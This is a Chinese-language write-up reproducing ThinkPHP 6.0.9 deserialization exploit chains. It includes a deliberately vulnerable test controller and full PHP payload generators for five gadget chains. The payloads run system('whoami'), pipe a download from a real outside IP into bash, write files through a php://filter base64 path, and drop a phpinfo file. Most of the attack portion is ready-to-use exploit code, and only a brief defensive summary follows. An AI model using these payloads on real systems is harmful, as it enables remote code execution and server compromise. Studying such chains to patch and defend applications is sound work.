Thinkphp6.0.9反序列化复现及整合
字数 1586 2025-08-24 23:51:20

ThinkPHP 6.0.9 反序列化漏洞分析与利用

漏洞概述

ThinkPHP 6.0.9 存在多个反序列化漏洞利用链,攻击者可以通过构造特定的反序列化数据实现远程代码执行。本文详细分析这些漏洞链的利用原理和构造方法。

环境搭建

  1. 使用 Composer 安装 ThinkPHP 6.0.9:
composer create-project topthink/think tp6.0.9 --prefer-dist
  1. 创建测试控制器 app/controller/Index.php
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController {
    public function index() {
        if(isset($_POST['data'])) {
            unserialize(base64_decode($_POST['data']));
        } else {
            highlight_file(__FILE__);
        }
    }
}

第一条利用链:Model->save() 链

漏洞分析

  1. 入口点vendor/topthink/think-orm/src/Model.php 中的 __destruct() 方法

  2. 触发路径

    • __destruct()save() (当 $this->lazySave 为 true)
    • save()updateData() (当 $this->exists 为 true)
    • updateData()checkAllowFields()
    • checkAllowFields()db()
    • db()__toString() (通过 $this->table 可控)
  3. 关键条件

    • $this->lazySave = true
    • $this->exists = true
    • $this->withEvent = false (绕过 trigger() 检查)
    • $this->force = true (使 getChangedData() 返回可控数据)
    • $this->data 不为空
  4. toString 利用

    • Url::__toString()build()
    • build()getDomainBind() (通过 $this->route 可控)
    • Validate::__call()is() → 调用 $this->type[$rule] 中的方法
    • 最终调用 Php::display() 执行任意代码

漏洞复现

<?php
namespace think {
    use think\route\Url;
    abstract class Model {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct() {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        function __construct() { parent::__construct(); }
    }
    $b = new Pivot();
    echo base64_encode(serialize($b));
}

namespace think\route {
    use think\Middleware;
    use think\Validate;
    class Url {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct() {
            $this->url = 'a:';
            $this->domain = "<?php system('whoami');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {
    use think\view\driver\Php;
    class Validate {
        public function __construct() {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware {
        public function __construct() {
            $this->request = "2333";
        }
    }
}

namespace think\view\driver {
    class Php {
        public function __construct() {}
    }
}

第二条利用链:CacheStore->save() 链

漏洞分析

  1. 入口点vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的 __destruct()

  2. 触发路径

    • __destruct()save() (当 $this->autosave 为 false)
    • CacheStore::save()File::set()
    • File::set()getCacheKey()
    • getCacheKey()__toString() (通过 $this->options['path'] 可控)
  3. 关键条件

    • $this->autosave = false
    • $this->store 设置为 File 实例
    • $this->options['path'] 设置为 Url 实例
    • $this->options['hash_type'] 不为空

漏洞复现

<?php
namespace League\Flysystem\Cached\Storage {
    abstract class AbstractCache {
        protected $autosave;
        public function __construct() {
            $this->autosave = false;
        }
    }
}

namespace think\filesystem {
    use League\Flysystem\Cached\Storage\AbstractCache;
    use think\cache\driver\File;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $expire;
        protected $key;
        public function __construct() {
            $this->store = new File();
            $this->expire = 1;
            $this->key = '1';
        }
    }
    echo base64_encode(serialize(new CacheStore()));
}

namespace think\cache {
    use think\route\Url;
    abstract class Driver {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
        public function __construct() {
            $this->options = [
                'expire' => 0,
                'cache_subdir' => true,
                'prefix' => '',
                'path' => new Url(),
                'hash_type' => 'md5',
                'data_compress' => false,
                'tag_prefix' => 'tag:',
                'serialize' => ['system'],
            ];
        }
    }
}

namespace think\cache\driver {
    use think\cache\Driver;
    class File extends Driver {}
}

// Url、Validate、Middleware、Php 类定义与第一条链相同

其他利用链

第三条链:直接命令执行

<?php
namespace League\Flysystem\Cached\Storage {
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = "`curl 47.93.248.221|bash`";
    }
}

namespace think\filesystem {
    use League\Flysystem\Cached\Storage\AbstractCache;
    use think\cache\driver\File;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $key = "1";
        public function __construct() {
            $this->store = new File();
        }
    }
    echo base64_encode(serialize(new CacheStore()));
}

namespace think\cache {
    abstract class Driver {}
}

namespace think\cache\driver {
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire'        => 0,
            'cache_subdir'  => true,
            'prefix'        => '',
            'path'          => '',
            'hash_type'     => 'md5',
            'data_compress' => false,
            'tag_prefix'    => 'tag:',
            'serialize'     => ['system'],
        ];
    }
}

第四条链:Base64 解码写入文件

<?php
namespace League\Flysystem\Cached\Storage {
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = "aaaPD9waHAgcGhwaW5mbygpOz8+";
    }
}

namespace think\filesystem {
    use League\Flysystem\Cached\Storage\AbstractCache;
    use think\cache\driver\File;
    class CacheStore extends AbstractCache {
        protected $store;
        protected $key = "1";
        public function __construct() {
            $this->store = new File();
        }
    }
    echo base64_encode(serialize(new CacheStore()));
}

namespace think\cache {
    abstract class Driver {}
}

namespace think\cache\driver {
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire'        => 1,
            'cache_subdir'  => false,
            'prefix'        => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=',
            'hash_type'     => 'md5',
            'data_compress' => false,
            'tag_prefix'    => 'tag:',
            'serialize'     => ['trim']
        ];
    }
}

第五条链:文件写入

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
    protected $autosave = false;
    protected $cache = ['<?php phpinfo();?>'];
}

namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache {
    protected $adapter;
    protected $file;
    public function __construct($obj) {
        $this->adapter = $obj;
        $this->file = 'DawnT0wn.php';
    }
}

namespace League\Flysystem\Adapter;
abstract class AbstractAdapter {}

namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter {
    public function has($path) {}
    public function write($path, $contents, Config $config) {}
}

$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));

总结

  1. ThinkPHP 6.0.9 存在多个反序列化漏洞利用链
  2. 主要利用点包括:
    • Model 类的 __destruct()save() 方法
    • CacheStore 类的 save() 方法
    • Url 类的 __toString() 方法
    • Validate 类的 __call() 方法
  3. 攻击者可实现:
    • 直接命令执行
    • 文件写入
    • 通过 PHP 过滤器写入文件
  4. 防御建议:
    • 升级到最新版本
    • 避免反序列化用户可控数据
    • 使用安全的反序列化方法
ThinkPHP 6.0.9 反序列化漏洞分析与利用 漏洞概述 ThinkPHP 6.0.9 存在多个反序列化漏洞利用链,攻击者可以通过构造特定的反序列化数据实现远程代码执行。本文详细分析这些漏洞链的利用原理和构造方法。 环境搭建 使用 Composer 安装 ThinkPHP 6.0.9: 创建测试控制器 app/controller/Index.php : 第一条利用链:Model->save() 链 漏洞分析 入口点 : vendor/topthink/think-orm/src/Model.php 中的 __destruct() 方法 触发路径 : __destruct() → save() (当 $this->lazySave 为 true) save() → updateData() (当 $this->exists 为 true) updateData() → checkAllowFields() checkAllowFields() → db() db() → __toString() (通过 $this->table 可控) 关键条件 : $this->lazySave = true $this->exists = true $this->withEvent = false (绕过 trigger() 检查) $this->force = true (使 getChangedData() 返回可控数据) $this->data 不为空 toString 利用 : Url::__toString() → build() build() → getDomainBind() (通过 $this->route 可控) Validate::__call() → is() → 调用 $this->type[$rule] 中的方法 最终调用 Php::display() 执行任意代码 漏洞复现 第二条利用链:CacheStore->save() 链 漏洞分析 入口点 : vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的 __destruct() 触发路径 : __destruct() → save() (当 $this->autosave 为 false) CacheStore::save() → File::set() File::set() → getCacheKey() getCacheKey() → __toString() (通过 $this->options['path'] 可控) 关键条件 : $this->autosave = false $this->store 设置为 File 实例 $this->options['path'] 设置为 Url 实例 $this->options['hash_type'] 不为空 漏洞复现 其他利用链 第三条链:直接命令执行 第四条链:Base64 解码写入文件 第五条链:文件写入 总结 ThinkPHP 6.0.9 存在多个反序列化漏洞利用链 主要利用点包括: Model 类的 __destruct() 和 save() 方法 CacheStore 类的 save() 方法 Url 类的 __toString() 方法 Validate 类的 __call() 方法 攻击者可实现: 直接命令执行 文件写入 通过 PHP 过滤器写入文件 防御建议: 升级到最新版本 避免反序列化用户可控数据 使用安全的反序列化方法